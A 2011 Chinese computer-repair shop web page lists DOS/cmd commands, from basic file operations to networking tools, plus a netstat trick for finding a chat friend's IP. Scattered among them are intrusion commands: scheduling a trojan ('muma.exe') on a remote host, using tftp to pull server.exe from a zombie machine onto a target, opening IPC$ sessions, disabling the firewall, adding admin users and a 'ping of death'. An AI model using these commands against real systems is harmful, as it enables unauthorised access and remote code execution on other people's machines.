您现在的位置:首页电脑知识电脑维修电脑维修 玩转DOS命令
分类列表
新闻搜索

电脑维修 玩转DOS命令

2011-05-31 16:30:38 瑞达电脑 e0558.net 点击数: 关键字: 电脑维修 DOS

       DOS是英文Disk Operating System的缩写,意思是“磁盘操作系统”。说得简单些,DOS就是人与机器的一座桥梁,是罩在机器硬件外面的一层“外壳”,有了DOS,我们就不必去深入了解机器的硬件结构,也不必去死记硬背那些枯燥的机器命令。对于初学者来说,熟悉几条必需的DOS命令是必不可少的。本店电脑维修人员现就电脑维修维护人员经常使用的DOS命令给大家作下简单的介绍:

一、怎么进入DOS系统?

    如果电脑相关的信息电脑玩家或电脑维修人员想要直接查询的话,不需要一步步的查找硬件设备等信息,只需进入DOS系统输入一系列命令即可。进入DOS命令的方法:1.进入Windows,请依次点击“开始→程序→ MS-DOS方式”,你还可以点击“开始→运行”,在打开的对话框里输入“command”(不带引号,下同)。若你的系统是Windows XP/2000,则输入“cmd”,同样可以进入DOS

  2.对于Windows 98系统,还可以点击“开始→关闭系统”,在出现的对话框中选择“重新启动计算机并切换到MS-DOS环境”,即可进入DOS

  3.在开机通过自检后,屏幕出现“Starting Windows 98…”的字样时,立即按下“F8”键,接着选择“Safe Mode Command Prompt Only”或“Command Prompt Only”,即可进入安全模式DOS或纯DOS

  4.系统崩溃了,重新启动计算机,按住Ctrl键,在出现的屏幕信息中选择“Safe Mode Command Prompt Only”或“Command Prompt Only”,即可进入安全模式DOS或纯DOS

二、DOS命令的有趣的应用

1、DOS命令查询对方的IP地址

一般网上的朋友看好友的IP地址只需要点击好友聊天窗口就可以直接显示出来。这里我给大家介绍一个新鲜的方法:在DOS下查看好友的IP地址。为什么要这么麻烦呢?因为如果QQ是新的话,那样我们是看不到好友的IP地址的,这里就了用武之地。好了,请来看看是怎么做的吧。

  第一步,你先把你想知道IP地址的那个好友想办法“弄”到QQ的“二人世界”里。接着,我们在DOS窗口里(Win9x下叫DOS,Win2000下叫命令提示符)。输入如下命令:

  netstat -n

Proto Local Address Foreign Address State
TCP 218.92.89.46:3987 211.100.21.45:80 ESTABLISHED
TCP 218.92.89.46:3988 211.100.21.45:80 ESTABLISHED
TCP 218.92.89.46:4036 61.141.194.194:7208 ESTABLISHED
TCP 218.92.89.46:4037 218.92.89.46:4038 ESTABLISHED
TCP 218.92.89.46:4038 218.92.89.46:4037 ESTABLISHED



  IP还真不少啊,哪个才是真的呢?现在我们退出“二人世界”,然后在DOS下再输入一次:

  netstat -n

Active Connections

Proto Local Address Foreign Address State
TCP 218.92.89.46:3987 211.100.21.45:80 TIME_WAIT
TCP 218.92.89.46:3988 211.100.21.45:80 ESTABLISHED
TCP 218.92.89.46:4036 61.141.194.194:7208 ESTABLISHED
TCP 218.92.89.46:4037 218.92.89.46:4038 ESTABLISHED
TCP 218.92.89.46:4038 218.92.89.46:4037 ESTABLISHED

  这时候我们来仔细着看,你会发现:

  原来:TCP 218.92.89.46:3987 211.100.21.45:80 ESTABLISHED
  现在:TCP 218.92.89.46:3987 211.100.21.45:80 TIME_WAIT

  这样的方法是不是很简单呢?你的好友的IP地址是:211.100.21.45。原因很简单:我们在“二人世界”时要传送消息,相互之间必然要产生连接(通过UDP协议),此时自然是“ESTABLISHED”了(以你用netstat -n命令的结果来说);而退出“二人世界”连接就断开了,自然就是“TIME_WAIT”了。

  怎么样,是不是很有意思,快来试一试吧!

三、用于电脑维修DOS命令详解

1、系统DOS命令

cd   改变当前目录
cd.. 反回上一级目录
cd\ 反回根目录
cd c:\windows   进入Windows目录
============================================================================
md 建立子目录
c:\>md fei
c:\>md fei\xiao
============================================================================
chkdsk /?
CHKDSK是一磁盘检测命令。
CHKDSK命令可检查磁盘状态并显示状态报告,还能修正磁盘错误。
chkdsk /F D: 检查磁盘D并显示状态报告;加参数/f并修复磁盘上的错误
============================================================================
del c:\1.txt/p
/p 删除时要求确认
del c:\*.*
del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、
系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件,“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件
del /S /Q 目录 或用:rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同)
============================================================================
rd 删除目录,担前提是要保证要删除的目录是空的
rd c:\1\2
rd c:\1
============================================================================
ren 重命名
ren c:\1 2
ren c:\1\*.txt *.jpg
============================================================================
dir 显示磁盘内容
dir/w/a/p
/p 分屏显示
/w 宽行显示   省去了具体的信息
dir 查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间
dir /s 文件名
============================================================================
format g:   对磁盘格式化,即高级格式化
/u 无条件格式化磁盘,格式化时将不保留磁盘原先的任何信息。一般要第一次格式化磁盘时,可使用     这个参数,减少格式化所需的时间
/q 快速格式化,这外参数可在对已做过格式化的磁盘进行格式化时使用。可以减少对磁盘的伤害。
/s 使格式化后的C盘成为启动盘,格式化后,可以用C:盘直接启动      
============================================================================
date 当前日期: 2011-05-31 星期二
time 当前时间: 15:36:25.54
net time \\192.168.1.106
net time 目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息
date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间,而不必输入新日期和时间
============================================================================
tree   显示指定驱动器上所有目录的路径和目录下的所有文件名,以树状显示.
tree /f 显示所有目录及目录下的所有文件
============================================================================
type 显示文件内容
type c:\boot.ini
tpye c:\1.txt
============================================================================
copy
copy c:\1.txt d:\
copy c:\1\*.txt d:\1
copy c:\1.txt+2.txt+3.txt d:\1\4.txt
============================================================================
xcopy   是copy 的扩展,可以把指定的目录连文件全部拷贝,担不能拷贝隐藏文件和系统文件!
xcopy c:\1 /s d:\2
/s 指原目录下和子目录下对其拷贝.
/Y 文件
============================================================================
move 盘符路径要移动的文件名 存放移动文件的路径移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖
============================================================================
fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中,"> "和"> >" 是重定向命令
============================================================================
tasklist 显示在本地或是远程计算机上的所有进程
tasklist /svc 显示每个进程的服务
tasklist /s 192.168.1.106 /u administrator /p 123 这项是依靠RPC服务的开启
taskkill -pid ID号
============================================================================
2、网络DOS命令
ipconfig /?
显示所有的TCP/IP 的网络配置值
ipconfig /all
显示所有的TCP/IP 的网络配置值
ipconfig /renew
更新DHCP配置的参数
ipconfig /release
发布当前的DHCP配置
============================================================================
netstat /?
netstat -a 查看开启了哪些端口,常用netstat -an
netstat -n 查看端口的网络连接情况,常用netstat -an
netstat -v 查看正在进行的工作
netstat -p 协议名
netstat -s 查看正在使用的所有协议使用情况
============================================================================
net config
显示当前运行的可配置服务或显示并修改某项服务的设置(显示系统网络设置 )
正在运行的服务
net config workstation
本机的配置信息。计算机名,全名,用户名,软件版本。
============================================================================
net user 查看用户
net user fei /add   添加用户
net user fei fei 密码为fei
net user fei 查看用户资料
net localgroup 查看本地组
net localgroup administrators fei /add
net localgroup administrators fei /del 从管理员组中删除
net user fei /del
============================================================================
net user guest /active:yes 激活guest
net user guest 123
============================================================================
net share   显示,创建,删除共享资源
net share s=d:\共享名
net share 共享名 /del
============================================================================
net start
net start 服务名
net stop 服务名
net pause 服务名 暂停某服务
============================================================================
net use   连接计算机或断开计算机与共享资料的连接以及显示计算机的连接信息
net use \\192.168.1.106\ipc$ "密码" /user:"用户名"
net use \\192.168.1.106\ipc$ /delete 删除共享连接
============================================================================
net send ip "文本信息" 向对方发信息
============================================================================
net stop sharedaccess 关闭防火墙
============================================================================
net view 查看本地局域网内开启了哪些共享
net view ip 查看对方局域网内开启了哪些共享
============================================================================
nslookup 查询一台机器的IP地址和对应的DNS域名 (扩充说明:当我们遇到网络故障时可以通过查看
      DNS信息来判断故障)
============================================================================
nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名              -注意:参数-A要大写
============================================================================
tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。
============================================================================
ping 用于检测网络的连接性,可到达性,以及名称解释的一个主要的TCP/IP命令。
ping www.sina.com
-t 指可以持续的发送请求,当按上ctrl+c即可停止
-n 指定发送回响请求的次数.
-a 对目的IP地址进行反向解释.
-l 200 指定发送的回响请求消息中数据字段的长度.
ping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据
包大小”;“-n发送数据次数”;“-t”指一直ping。
ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)
============================================================================
at   必须在计划服务开启的情况下才能运行.
at \\192.168.1.106 20:50 d:\muma.exe
at \\192.168.1.103 /del
============================================================================
telnet ip 端口 远和登陆服务器,默认端口为23
============================================================================
copy c:srv.exe ipadmin$ 复制本地c:srv.exe到对方的admin下
cls 清屏
============================================================================
ver 查看系统版本号
============================================================================
query user   查看用户
============================================================================
tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:server.exe 登陆后,将“IP”的server.exe下载到目标主机c:server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式(传送文本文件模式)进行传送
tftp -i 对方IP put c:server.exe 登陆后,上传本地c:server.exe至主机
============================================================================
ftp ip 端口 用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时)
============================================================================
route print 显示出IP路由,将主要显示网络地址Network addres,子网掩码
Netmask,网关地址Gateway addres,接口地址Interface
============================================================================
arp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息
============================================================================
start 程序名或命令 /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令
============================================================================
attrib 文件名(目录名) 查看某文件(目录)的属性
attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档,只读,系统,隐藏 属性;用+则是添加为某属性
============================================================================
set 指定环境变量名称=要指派给变量的字符 设置环境变量
set 显示当前所有的环境变量
set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量
============================================================================
pause 暂停批处理程序,并显示出:请按任意键继续....
============================================================================
echo 信息 >> pass.txt 将"信息"保存到pass.txt文件中
============================================================================
findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello
============================================================================
winver 弹出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名)
============================================================================
regedit /s 注册表文件名 导入注册表;参数/S指安静模式导入,无任何提示;
regedit /e 注册表文件名 导出注册表
      以上就是本店电脑维修人员比较常用的DOS命令,您如果有具体的问题不是太清楚,可以联系我们的电脑维修人员共同探讨解决。

 

相关内容
临泉瑞达电脑科技 版权所有 2010-2011 All Rights Reserved 皖ICP备07503530号
联系电话:0558-6520577 联系QQ:33738598
联系地址:解放南大街(皖浙农贸市场十字路口向北100米路西 金黄山鲜果园对面)临泉瑞达电脑
建议用Internet Explorer7.0以上浏览访问本站,最佳显示分辨率为1024*768 Powered by Raindrop